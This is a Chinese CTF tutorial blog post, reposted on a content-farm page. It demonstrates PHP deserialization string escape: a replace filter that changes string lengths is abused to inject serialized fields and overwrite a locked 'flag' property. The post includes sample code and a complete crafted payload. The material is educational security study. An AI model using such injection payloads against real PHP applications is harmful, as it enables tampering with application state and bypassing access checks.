当前位置: 首页 > news >正文

厦门网站建设哪家专业网站快速优化排名

厦门网站建设哪家专业,网站快速优化排名,阿里云服务器学生,网站链接维护怎么做前言 最近在打西电的新生赛&#xff0c;有道反序列化的题卡了很久&#xff0c;今天在NSS上刷题的时候突然想到做法&#xff0c;就是利用字符串逃逸去改变题目锁死的值&#xff0c;从而实现绕过 为了研究反序列化的字符串逃逸 我们先简单的测试下 原理 <?php class escape…

前言

最近在打西电的新生赛,有道反序列化的题卡了很久,今天在NSS上刷题的时候突然想到做法,就是利用字符串逃逸去改变题目锁死的值,从而实现绕过

为了研究反序列化的字符串逃逸
我们先简单的测试下

原理

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
$a=new escape('admin','123456');
echo serialize($a);
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

假设我们增加一个检测函数,去替换我们序列化之后的值,则

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('admin','123456');
$a_filter = filter(serialize($a));
echo $a_filter;
?> 

输出结果为

O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

我们比对下这两串输出结果

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

可以发现下面那一串的hacker的长度与实际长度不匹配
假设当$flag=1时回显flag,由于题目是改不了的,那么我们就可以利用字符串逃逸来实现

目标字符串

O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}

我们可以把";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}写入到name的值里面,然后通过admin替换hacker的长度差值与之相等即可

我们先写入name里,然后计算下长度为44+5

O:6:"escape":3:{s:4:"name";s:49:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

由于我们要挤掉后面长度为44的字符串,构造44*admin
payload

O:6:"escape":3:{s:4:"name";s:49:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

即实例化上传的为

<?php
class escape{                                                                   public $name;                                                 public $psword;                                            public $flag;       public function __construct($u,$p){$this->name = $u;$this->psword = $p;$this->flag = 0;}                   
}
function filter($s){return str_replace("admin","hacker",$s);
}$a=new escape('adminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}','123456');$a_filter = filter(serialize($a));
$a_filter_unseri = unserialize($a_filter);
var_dump($a_filter_unseri);

我们可以看到flag的值变为1,成功绕过
在这里插入图片描述

http://www.mnyf.cn/news/52257.html

相关文章:

  • 网站建设教案dw苏州seo关键词优化推广
  • 不用域名做自己的网站杭州seo搜索引擎优化公司
  • 微网站官网长沙seo排名优化公司
  • 做期货要看哪些网站专业拓客团队怎么收费
  • 网站网站制作网站深圳全网营销平台排名
  • 卖磁铁的网站怎么做百度招聘平台
  • 汉子由来 外国人做的网站国内永久免费的云服务器
  • 江门网站建设服务永久不收费免费的软件
  • 在西宁做网站可以吗seo关键词排名价格
  • 网站开发收获长沙谷歌seo
  • 有一个做5s壁纸的网站百度app免费下载
  • 购物网站用香港空间营销渠道策略
  • 哈尔滨雕塑制作厂家汽车seo是什么意思
  • 深圳上市公司网站建设百度站长工具数据提交
  • 展会网站制作自己做网站的流程
  • 洛阳网站建设优化网络推广的具体方式
  • 新公司注册取名网站优化seo培
  • 代码网站有哪些seo科技网
  • 设计公司网站应该包括的信息搜索引擎营销的案例有哪些
  • 东莞市建设网站首页柳州网站建设哪里有
  • 微信朋友圈做网站推广赚钱吗做推广
  • 福州电子商务网站建设快优吧seo优化
  • 做网站北京公司宁波seo优化外包公司
  • 如何知道一个网站是谁做的青岛seo公司
  • 男女做姿抽插视频网站推广策划方案范文
  • 做美食哪些类型网站广告seo是什么意思
  • 用JSP做的网站的缺点搭建网站需要什么技术
  • 免费电子商务网站源码搜狗网站seo
  • 杭州营销型网站建设seo关键词分类
  • 烟台门户网站短视频培训课程